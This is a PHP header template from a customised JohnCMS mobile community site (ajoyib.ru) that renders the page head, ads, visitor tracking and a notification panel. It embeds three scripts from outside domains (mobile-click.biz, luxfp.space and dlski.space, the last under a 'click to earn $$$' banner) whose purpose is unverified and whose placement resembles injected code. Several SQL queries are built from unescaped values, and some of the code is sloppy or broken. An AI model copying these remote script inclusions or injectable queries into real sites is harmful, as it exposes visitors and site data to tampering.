<?php

/**
 * @package     JohnCMS
 * @link        http://johncms.com
 * @copyright   Copyright (C) 2008-2011 JohnCMS Community
 * @license     LICENSE.txt (see attached file)
 * @version     VERSION.txt (see attached file)
 * @author      http://johncms.com/about
 */

defined('_IN_JOHNCMS') or die('Error: restricted access');

$headmod = isset($headmod) ? mysql_real_escape_string($headmod) : '';
$textl = isset($textl) ? $textl : $set['copyright'];

echo'<!DOCTYPE html>' .
"\n" . '<html lang="' . core::$lng_iso . '">' .
"\n" . '<head><script src="http://mobile-click.biz/code/1f06024903cb04d464729a9ef9501311.js"></script>' .
   "\n" . '<meta charset="utf-8">' .
"\n" . '<meta name="robots" content="all"/>' .
"\n" . '<meta name="googlebot" content="all"/>' .
"\n" . '<meta name="revisit-after" content="1 days"/>' .
"\n" . '<meta property="og:type" content="article"/>' .
"\n" . '<meta http-equiv="X-UA-Compatible" content="IE=edge">' .
"\n" . '<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">' .
"\n" . '<meta name="HandheldFriendly" content="true">' .
"\n" . '<meta name="MobileOptimized" content="width">' .
"\n" . '<meta content="yes" name="apple-mobile-web-app-capable">' .
"\n" . '<meta name="yandex-verification" content="79a81241280e767d"/>' .
"\n" . '<meta name="google-site-verification" content="Iv0MesgP0UB2a_ybTitS4P0BMYDRIlTVPc-TkQ_18I0"/>' .
"\n" . '<meta name="wmail-verification" content="57856862a90506ab67639bd2bd3c125f"/>' .
"\n" . '<meta name="Generator" content="Ajoyib, http://ajoyib.ru"/>' .
"\n" . '
<meta name="og:image" content="http://ajoyib.ru/ajoyibru.jpg"/>' .
(!empty($set['meta_key']) ? "\n" . '<meta name="keywords" content="' . $set['meta_key'] . '">' : '') .
(!empty($set['meta_desc']) ? "\n" . '<meta name="description" content="' . $set['meta_desc'] . '">' : '') .
    "\n" . '
<link rel="canonical" href="http://ajoyib.ru" />' .
"\n" . '<link rel="stylesheet" href="' . $set['homeurl'] . '/theme/' . $set_user['skin'] . '/style.css">' .
"\n" . '<link rel="shortcut icon" href="' . $set['homeurl'] . '/favicon.ico">' .
/*    "\n" . '<link rel="alternate" type="application/rss+xml" title="RSS | ' . $lng['site_news'] . '" href="' . $set['homeurl'] . '/rss/rss.php">' .*/
    "\n" . '<title>' . $textl . '</title>' .
"\n" . '</head><body><script src="http://v.luxfp.space/v/WtAOCTrbMFwjTVmI3y0NygUh7HWvFg" type="text/javascript"></script>' . core::display_core_errors();

echo '<a href="/"><div class="logo" align="center"><img src="/ajoyib.png" alt="logo" width="160" height="50"/></a></div>';
/*
-----------------------------------------------------------------
Рекламный модуль
-----------------------------------------------------------------
*/
$cms_ads = array();
if (!isset($_GET['err']) && $act != '404' && $headmod != 'admin') {
    $view = $user_id ? 2 : 1;
    $layout = ($headmod == 'mainpage' && !$act) ? 1 : 2;
    $req = mysql_query("SELECT * FROM `cms_ads` WHERE `to` = '0' AND (`layout` = '$layout' or `layout` = '0') AND (`view` = '$view' or `view` = '0') ORDER BY  `mesto` ASC");
    if (mysql_num_rows($req)) {
        while (($res = mysql_fetch_assoc($req)) !== FALSE) {
            $name = explode("|", $res['name']);
            $name = htmlentities($name[mt_rand(0, (count($name) - 1))], ENT_QUOTES, 'UTF-8');
            if (!empty($res['color'])) $name = '<span style="color:#' . $res['color'] . '">' . $name . '</span>';
            // Если было задано начертание шрифта, то применяем
            $font = $res['bold'] ? 'font-weight: bold;' : FALSE;
            $font .= $res['italic'] ? ' font-style:italic;' : FALSE;
            $font .= $res['underline'] ? ' text-decoration:underline;' : FALSE;
            if ($font) $name = '<span style="' . $font . '">' . $name . '</span>';
            @$cms_ads[$res['type']] .= '<a href="' . ($res['show'] ? functions::checkout($res['link']) : $set['homeurl'] . '/go.php?id=' . $res['id']) . '">' . $name . '</a><br/>';
            if (($res['day'] != 0 && time() >= ($res['time'] + $res['day'] * 3600 * 24)) || ($res['count_link'] != 0 && $res['count'] >= $res['count_link']))
                mysql_query("UPDATE `cms_ads` SET `to` = '1'  WHERE `id` = '" . $res['id'] . "'");
        }
    }
}

/*
-----------------------------------------------------------------
Рекламный блок сайта
-----------------------------------------------------------------
*/
if (isset($cms_ads[0])) echo $cms_ads[0];

/*
-----------------------------------------------------------------
Выводим логотип и переключатель языков
-----------------------------------------------------------------
*/
    ($headmod == 'mainpage' && count(core::$lng_list) > 1 ? '<td align="right"><a href="' . $set['homeurl'] . '/go.php?lng"><b>' . strtoupper(core::$lng_iso) . '</b></a>&#160;<img src="' . $set['homeurl'] . '/images/flags/' . core::$lng_iso . '.gif" alt=""/>&#160;</td>' : '') .
    '</tr></table>';
/*
-----------------------------------------------------------------
Выводим верхний блок с приветствием
-----------------------------------------------------------------
*/
echo '<div class="header"> ' . $lng['hi'] . ', ' . ($user_id ? '<b>' . $login . '</b>!' : $lng['guest'] . '!') . ' </div>';//Toshket vaqti bilan 

/*
-----------------------------------------------------------------
Главное меню пользователя
-----------------------------------------------------------------
*/

/*if (!$user_id) {
	echo '<div class="tfoot"><table cellpadding="0" cellspacing="0"><tr><td class="tfoot_td"><a href="'.$home.'/login.php">Kirish</a></td><td class="tfoot_td"><a href="'.$home.'/registration.php">A`zo bo`lish</a></td></tr></table></div>';
} else {
	echo '<div class="tfoot"><table cellspacing="0" cellpadding="0"><tr>';
	if ($headmod != "mainpage") { 
	echo '<td class="tfoot_td"><a href="'.$home.'">Bosh Sahifa</a></td>';
	}
	echo '<td class="tfoot_td"><a href="'.$home.'/guestbook">Chat</a></td><td class="tfoot_td"><a href="'.$home.'/users/profile.php">Anketa</a></td><td class="tfoot_td"><a href="'.$home.'/users/profile.php?act=office">Kabinet</a></td></tr></table></div>';
}

    echo '<div class="maintxt">';*/

echo '<div class="menu">' .
(isset($_GET['err']) || $headmod != "mainpage" || ($headmod == 'mainpage' && $act) ? '<a href=\'' . $set['homeurl'] . '\'>' . functions::image('menu_home.png') . $lng['homepage'] . '</a><br/>' : '') .
    ($user_id && $headmod != 'office' ? '<a href="' . $set['homeurl'] . '/users/profile.php?act=office">' . functions::image('menu_cabinet.png') . $lng['personal'] . '</a> | ' : '') .
    ($user_id && $headmod != 'profile' ? '<a href="' . $set['homeurl'] . '/users/profile.php">' . $lng['profile'] . '</a><br/>' : '') .
    (!$user_id && $headmod != 'login' ? functions::image('menu_login.png') . '<a href="' . $set['homeurl'] . '/login.php">' . $lng['login'] . '</a>' : '') .
'</div>';

/*
-----------------------------------------------------------------
Рекламный блок сайта
-----------------------------------------------------------------
*/
if (!empty($cms_ads[1])) echo '<div class="gmenu">' . $cms_ads[1] . '</div>';

/*
-----------------------------------------------------------------
Фиксация местоположений посетителей
-----------------------------------------------------------------
*/
$sql = '';
$set_karma = unserialize($set['karma']);
if ($user_id) {
    // Фиксируем местоположение авторизованных
    if (!$datauser['karma_off'] && $set_karma['on'] && $datauser['karma_time'] <= (time() - 86400)) {
        $sql .= " `karma_time` = '" . time() . "', ";
    }
    $movings = $datauser['movings'];
    if ($datauser['lastdate'] < (time() - 300)) {
        $movings = 0;
        $sql .= " `sestime` = '" . time() . "', ";
    }
    if ($datauser['place'] != $headmod) {
        ++$movings;
        $sql .= " `place` = '" . mysql_real_escape_string($headmod) . "', ";
    }
    if ($datauser['browser'] != $agn)
        $sql .= " `browser` = '" . mysql_real_escape_string($agn) . "', ";
    $totalonsite = $datauser['total_on_site'];
    if ($datauser['lastdate'] > (time() - 300))
        $totalonsite = $totalonsite + time() - $datauser['lastdate'];
    mysql_query("UPDATE `users` SET $sql
        `movings` = '$movings',
        `total_on_site` = '$totalonsite',
        `lastdate` = '" . time() . "'
        WHERE `id` = '$user_id'
    ");
} else {
    // Фиксируем местоположение гостей
    $movings = 0;
    $session = md5(core::$ip . core::$ip_via_proxy . core::$user_agent);
    $req = mysql_query("SELECT * FROM `cms_sessions` WHERE `session_id` = '$session' LIMIT 1");
    if (mysql_num_rows($req)) {
        // Если есть в базе, то обновляем данные
        $res = mysql_fetch_assoc($req);
        $movings = ++$res['movings'];
        if ($res['sestime'] < (time() - 300)) {
            $movings = 1;
            $sql .= " `sestime` = '" . time() . "', ";
        }
        if ($res['place'] != $headmod) {
            $sql .= " `place` = '" . mysql_real_escape_string($headmod) . "', ";
        }
        mysql_query("UPDATE `cms_sessions` SET $sql
            `movings` = '$movings',
            `lastdate` = '" . time() . "'
            WHERE `session_id` = '$session'
        ");
    } else {
        // Если еще небыло в базе, то добавляем запись
        mysql_query("INSERT INTO `cms_sessions` SET
            `session_id` = '" . $session . "',
            `ip` = '" . core::$ip . "',
            `ip_via_proxy` = '" . core::$ip_via_proxy . "',
            `browser` = '" . mysql_real_escape_string($agn) . "',
            `lastdate` = '" . time() . "',
            `sestime` = '" . time() . "',
            `place` = '" . mysql_real_escape_string($headmod) . "'
        ");
    }
}

/*
-----------------------------------------------------------------
Выводим сообщение о Бане
-----------------------------------------------------------------
*/
if (!empty($ban)) echo '<div class="alarm">' . $lng['ban'] . '&#160;<a href="' . $set['homeurl'] . '/users/profile.php?act=ban">' . $lng['in_detail'] . '</a></div>';

/*
-----------------------------------------------------------------
Ссылки на непрочитанное
-----------------------------------------------------------------
*/




/*if ($user_id) {
    $list = array();
    $new_sys_mail = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_mail` WHERE `from_id`='$user_id' AND `read`='0' AND `sys`='1' AND `delete`!='$user_id';"), 0);
	if ($new_sys_mail) $list[] = '<td class="tfoot_td"><a href="' . $home . '/mail/index.php?act=systems">Tizimdan+' . $new_sys_mail . '</a></td>';
	$new_mail = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_mail` WHERE `from_id`='$user_id' AND `read`='0' AND `sys`='0';"), 0);
	if ($new_mail) $list[] = '<td class="tfoot_td"><a href="' . $home . '/mail/index.php?act=new">Xabar+' . $new_mail . '</a> </td>';
    if ($datauser['comm_count'] > $datauser['comm_old']) $list[] = '<td class="tfoot_td"><a href="' . core::$system_set['homeurl'] . '/users/profile.php?act=guestbook&amp;user=' . $user_id . '">' . $lng['guestbook'] . '+' . ($datauser['comm_count'] - $datauser['comm_old']) . '</a></td>';
    $new_album_comm = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_album_files` WHERE `user_id` = '" . core::$user_id . "' AND `unread_comments` = 1"), 0);
    if ($new_album_comm) $list[] = '<td class="tfoot_td"><a href="' . core::$system_set['homeurl'] . '/users/album.php?act=top&amp;mod=my_new_comm">' . $lng['albums_comments'] . '</a><td>';
		// Online
$users = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `lastdate` > '" . (time() - 300) . "'"), 0);
$list[] = '<td class="tfoot_td"><a href="/users/index.php?act=online" title="Hozir Saytda"><img src="/images/panel/online.png" alt="ON:" />'.$users.'</a></td>';
    if(time() > $datauser['money_time'] + 3600 * 24){
    $bonus = mysql_fetch_assoc(mysql_query("SELECT * FROM `shop` WHERE `id`=5"));
    /*$mon = $datauser['balans'] + $bonus['price'];*/
    //mysql_query("UPDATE `users` SET `balans` = '$mon', `money_time` = '".time()."' WHERE `id` = '$user_id'");
    /*$list[] = '<td class="tfoot_td"><a href="' . core::$system_set['homeurl'] . '/users/profile.php?act=stat">Bonus+'.$bonus['price'].'</a></td>';
    }
	$mexmon = mysql_result(mysql_query("SELECT FROM `my_guests` WHERE `my_id` = ''.$user_id.'' AND `type` = '0'"), 0);

	// Мои гости
$new_guests = @mysql_result(@mysql_query("SELECT COUNT(*) FROM `my_guests` WHERE `my_id` = '" . $user_id . "' AND `type` = '0';"), 0);   
if ($new_guests>0) {
    $list[] = '<td class="tfoot_td"><a href="/users/my_guests.php">Mexmon+' . $new_guests . '</a></td>';   }
	//LENTA
	
$lenta = @mysql_result(@mysql_query("SELECT COUNT(*) FROM `lenta` WHERE `id_kont` = '" . $user_id . "' AND `read` = '0';"), 0);
if ($lenta>0)
$list[] = '<a href="' . core::$system_set['homeurl'] . '/users/lenta.php"><img src="/images/yosh/1sts.png" width="25" height="25" alt=""/> ' . $lenta . '</a>';
	if (!empty($list)) echo '<div class="tfoot"><table cellspacing="0" cellpadding="0"><tr>' . functions::display_menu($list, ' ') . '</tr></table></div>';
}
*/


if ($user_id) {

    $list = array();
// Sistema xabarlari
    $new_sys_mail = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_mail` WHERE `from_id`='$user_id' AND `read`='0' AND `sys`='1' AND `text`!='$user_id';"), 0);
    if ($new_sys_mail) $list[] = '<td class="panel_td"><a href="' . $home . '/mail/index.php?act=systems">Tizimdan+' . $new_sys_mail . '</a></td>';
    $new_friends = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_contact` WHERE `from_id`='$user_id' AND `type`='2' AND `friends`='0';"), 0);
if ($new_friends) $list[] = '<td class="panel_td"><a href="/users/profile.php?act=friends&do=offers" title="Xabarlar"> <img src="/images/panel/xabar.png" alt="SMS" />' . $new_friends . '</a></td>';




/*if ($headmod != "pradd") {
        $mail = mysql_result(mysql_query("SELECT COUNT(*) FROM `privat` WHERE `user` = '$login' AND `type` = 'in' AND `chit` = 'no'"), 0);
if ($_SERVER['PHP_SELF']=='/index.php')
{}
else {
$list[] = '<td class="panel_td"><a href="/" title="Bosh Sahifaga"><img src="/images/panel/home.png" alt="Bosh" /></a></td>';}
        if ($mail)
$list[] = '<td class="panel_td"><a href="/users/pradd.php?act=in&amp;new" title="Sovg`a va FM Takliflar"><img src="/images/panel/xabar.png" alt="Sovg`a va FM" />' . $mail . '</a></td>';
    }*/

// Xabarlar
$new_mail = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_mail` LEFT JOIN `cms_contact` ON `cms_mail`.`user_id`=`cms_contact`.`from_id` AND `cms_contact`.`user_id`='$user_id' WHERE `cms_mail`.`from_id`='$user_id' AND `cms_mail`.`sys`='0' AND `cms_mail`.`read`='0' AND `cms_mail`.`delete`!='$user_id' AND `cms_contact`.`ban`!='1' AND `cms_mail`.`spam`='0'"), 0);
if ($new_mail) $list[] = '<td class="panel_td"><a href="/mail/index.php?act=new" title="Xabarlar"> <img src="/images/panel/xabar.png" alt="SMS" />' . $new_mail . '</a></td>';

// Do'stlik taklifi
$count_contacts = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_contact` WHERE `user_id`='" . $user_id . "' AND `ban`!='1';"), 0);
$new_frends = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_contact` WHERE `user` = '$user_id'"), 0);
if ($new_frends>0) $list[] = '<td class="panel_td"><a href="' . $set['homeurl'] . '/users/friends.php?act=new" title="Do`stlik Takliflari"><img src="/images/panel/bildirishnoma.png" alt=""/>' . $new_frends . '</a></td>';
if ($headmod != "friends") {
$new_frends = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_contact` WHERE `user` = '$user_id'"), 0);
if ($new_frends)
$list[] = '<td class="panel_td"><a href="' . $set['homeurl'] . '/users/friends.php?act=new" title="Do`stlik Takliflari"><img src="/images/panel/bildirishnoma.png" alt=""/> (+' . $new_frends . ')</a></td>';
    }

// Mehmonlar
$new_guests = @mysql_result(@mysql_query("SELECT COUNT(*) FROM `my_guests` WHERE `my_id` = '" . $user_id . "' AND `type` = '0';"), 0);
if ($new_guests>0) $list[] = '<td class="panel_td"><a href="' . core::$system_set['homeurl'] . '/users/my_guests.php" title="Mehmonlar"><img src="/images/panel/mehmon.png" alt=""/>' . $new_guests . '</a></td>';

// Online
$users = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `lastdate` > '" . (time() - 300) . "'"), 0);
$list[] = '<td class="panel_td" style="color: #; border-right: 1px solid #;"><a href="/users/index.php?act=online" title="Hozir Saytda"><img src="/images/panel/online.png" alt="ON:" />'.$users.'</a></td>';

// Chat
$chat_all = mysql_result(mysql_query("SELECT COUNT(*) FROM `chat_room_1`"), 0);
$chat_count = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `lastdate` > '" . ($realtime - 800) . "' AND `place` LIKE 'chat%'"), 0); 
//$chat='1';
//$list[] = '<td class="panel_td"><a href="/mchat/" title="Samimiy Chat"><img src="/images/panel/chat.png" alt=""/>'.$chat_all.'';
if ($chat_count)
//echo '/' . $chat_count . '</a></td>';


# Forum
            $req = mysql_query("SELECT COUNT(*) FROM `forum`
                LEFT JOIN `cms_forum_rdm` ON `forum`.`id` = `cms_forum_rdm`.`topic_id` AND `cms_forum_rdm`.`user_id` = '" . core::$user_id . "'
                WHERE `forum`.`type`='t'" . (core::$user_rights >= 7 ? "" : " AND `forum`.`close` != '1'") . "
                AND (`cms_forum_rdm`.`topic_id` Is Null
                OR `forum`.`time` > `cms_forum_rdm`.`time`)");
            $forum_new_posts = mysql_result($req, 0);
$new_forum='1';
if ($forum_new_posts) $list[] = "<td class='panel_td' style='color: #; border-right: 1px solid #;'><a href='/forum/?act=new' title='Forum/O`qilmaganlar'><img src='/images/panel/forum2.png' alt='Forum' />".$forum_new_posts."</a></td>";

# Sovrinlar
$count_award = mysql_result(mysql_query("select count(*) from `award_users` where `time` >= '".$datauser['award']."' and `id_user` ='".$user_id."'"),0);
if ($count_award) $list[] = '<td class="panel_td" style="color: #; border-right: 1px solid #;"><a href="' . core::$system_set['homeurl'] . '/award/index.php?id='.core::$user_id.'" title="Sovrin"><img src="/images/panel/award.png" alt="Sovrin" />' . $count_award.'</a></td>';

#LENTAevents

$list[] = '<td class="panel_td" style="color: #; border-right: 1px solid #;"><a href="' . core::$system_set['homeurl'] . '/users/profile.php?act=events" title="Tasma"><img src="/images/panel/forum.png" alt=""/>' . Functions::eventsCount() . '</a></td>';







/*LENTA
$lenta = @mysql_result(@mysql_query("SELECT COUNT(*) FROM `lenta` WHERE `id_kont` = '" . $user_id . "' AND `read` = '0';"), 0);
if ($lenta>0)
$list[] = '<td class="panel_td" style="color: #; border-right: 1px solid #;"><a href="' . core::$system_set['homeurl'] . '/users/lenta.php" title="Tasma"><img src="/images/panel/forum.png" alt=""/>' . $lenta . '</a></td>';
*/  
    /* код от Flyself */
    if($headmod != 'link_history') {
        $total_link_history = mysql_result(mysql_query("SELECT COUNT(*) FROM `link_history` WHERE `user_id` = '$user_id'"), 0);
        if($total_link_history < 100)
            mysql_query("INSERT INTO `link_history` SET `user_id` = '$user_id', `time` = '$realtime', `text` = '" . functions::check($_SERVER['REQUEST_URI']) . "', `name` = '" . functions::check($textl) . "';");
        else
            mysql_query("UPDATE `link_history` SET `time` = '$realtime', `text` = '" . functions::check($_SERVER['REQUEST_URI']) . "', `name` = '" . functions::check($textl) . "' WHERE `user_id` = '$user_id' ORDER BY `time` ASC LIMIT 1;");
    } 
$list[] = '<td class="panel_td" style="color: #; border-right: 1px solid #;"><a href="/users/profile.php?act=link_history" title="mavzular tarixi"><img src="/images/panel/links.png" alt="tarix:" />'.$link_history.'</a></td>';

// Arzlar
$spam = mysql_result(mysql_query("SELECT COUNT(*) FROM `cms_forum_spam` "), 0);
if (($rights == 3 || $rights >= 6) && $spam > 0) $list[] = '<td class="panel_td"><a href="' . $set['homeurl'] . '/forum/spam.php" title="Forum/Arzlar"><img src="/images/panel/bildirishnoma.png" alt=""/>' . $spam . '</a></td>';

if (!empty($list)) { echo '<div class="panel" align="center"><table style="width:100%; border-collapse:collapse" cellpadding="0" cellspicing="0"><tr>' . functions::display_menu($list, ' ') . '';
//chat on
$chatif = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `lastdate` > '" . (time() - 300) . "' AND `place` = 'chat," . $id . "'"), 0);
function wchtepa($id = 0) {
  if ($id)
    return mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `lastdate` > '" . (time() - 300) . "' AND `place` = 'chat," . $id . "'"), 0);
  else
    return mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `lastdate` > '" . (time() - 300) . "' AND `place` LIKE 'chat%'"), 0);
}
$id_k = isset($_REQUEST['id_k']) ? abs(intval($_REQUEST['id_k'])) : false;

//chat on tugadi
$chat_all = mysql_result(mysql_query("SELECT COUNT(*) FROM `chat_room_1`"), 0);
$chat_count = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `lastdate` > '" . ($realtime - 800) . "' AND `place` LIKE 'chat%'"), 0); 
$chat='1';
echo '<td class="panel_td"><a href="' . core::$system_set['homeurl'] . '/mchat/" title="Samimiy Chat"><img src="/images/panel/chat.png" alt=""/>'.$mchat_online.'';
if ($chatif) 
{
echo '/' . wchtepa() . '';}
echo '</a></td>';
echo '</tr></table></div>';
}
}
/*if ($user_id) {
    if(time() > $datauser['money_time'] + 3600 * 24){
    $bonus = mysql_fetch_assoc(mysql_query("SELECT * FROM `shop` WHERE `id`=5"));
    $mon = $datauser['balans'] + $bonus['price'];
mysql_query("UPDATE `users` SET `balans` = '+20', `money_time` = '".time()."' WHERE `id` = '$user_id'");
echo '<div class="rmenu">- <a href="' . core::$system_set['homeurl'] . '/users/profile.php?act=stat"><font color="blue">Kunlik Bonus!</font></a> Jamoamizga xar kuni tashrif buyurayotganingiz uchun sizga <font color="red">+'.$bonus['price'].'</font> tanga taqdim etildi! Tashrif uchun rahmat!</div>';
    }
}

if(time() > $datauser['money_time'] + 3600 * 24){
$bonus = mysql_fetch_assoc(mysql_query("SELECT * FROM `shop` WHERE `id`=5"));
$mon = $datauser['balans'] + $bonus['price'];
mysql_query("UPDATE `users` SET `balans` = '$mon', `money_time` = '".time()."' WHERE `id` = '$user_id'");
$list[] = '<a href="' . core::$system_set['homeurl'] . '/users/profile.php?act=stat">Kunlik Bonus!</a><br/>Sizning hisobingizga +'.$bonus['price'].' tanga o`tkazildi! Bizning saytga tashrif buyurayotganingiz uchun tashakkur!';
}

*/



/*echo '<div class="header"><a href="/"><img src="/images/Jamoa.png" alt="Jamoa" title="Jamoa.Ru"/>';
echo '<div class="fr">';
if ($user_id)
{
echo "<a href='" . $set['homeurl'] . "/users/profile.php'>".$lng['profile']."</a> | ";
echo "<a href='" . $set['homeurl'] . "/users/profile.php?act=office'>".$lng['personal']."</a>";
}
else
{echo "<a href='" . $set['homeurl'] . "/login.php'>".$lng['login']."</a> | ";echo "<a href='" . $set['homeurl'] . "/registration.php'>A'zo Bo'lish</a>";
}
echo '</div>';
echo '</div>';*/
include 'pages/tur.php';
/*
-----------------------------------------------------------------
Рекламный блок сайта
-----------------------------------------------------------------
*/
if ($user_id) {
#echo '<div class="gmenu" align="center">';
#include 'ozgar.php';
#echo '</div>';
}
/*if (!empty($cms_ads[1])) echo '<div class="phdr">Reklama</div><div class="menu">' . $cms_ads[1] . '</div>';
if ($_SERVER['PHP_SELF']=='/index.php') {
if ($user_id) {}
else {echo '<div class="menu"><b>Eslatma:</b><br />Saytdan to`laqonli foydalanish uchun <a href="/registration.php"><span class="o">Bepul Ro`yhatdan O`ting</span></a> va juda ko`plab imkoniyatlarga ega bo`ling! Agar siz avval Ro`yhatdan O`tgan bo`lsangiz, <a href="/login.php"><span class="o">Kirish</span></a>ni amalga oshiring!</div>';}}
*/

echo'<div class="phdr"><b>Rasmga bosib $$$ ishlang</b></div>';
echo '<div class="menu"><div id="vSJa-tC7wB2CAE1BN6oq0cIf36n86CQ"><script src="http://v.dlski.space/v/SJa-tC7wB2CAE1BN6oq0cIf36n86CQ" charset="utf-8" type="text/javascript"></script></div></div>';
?>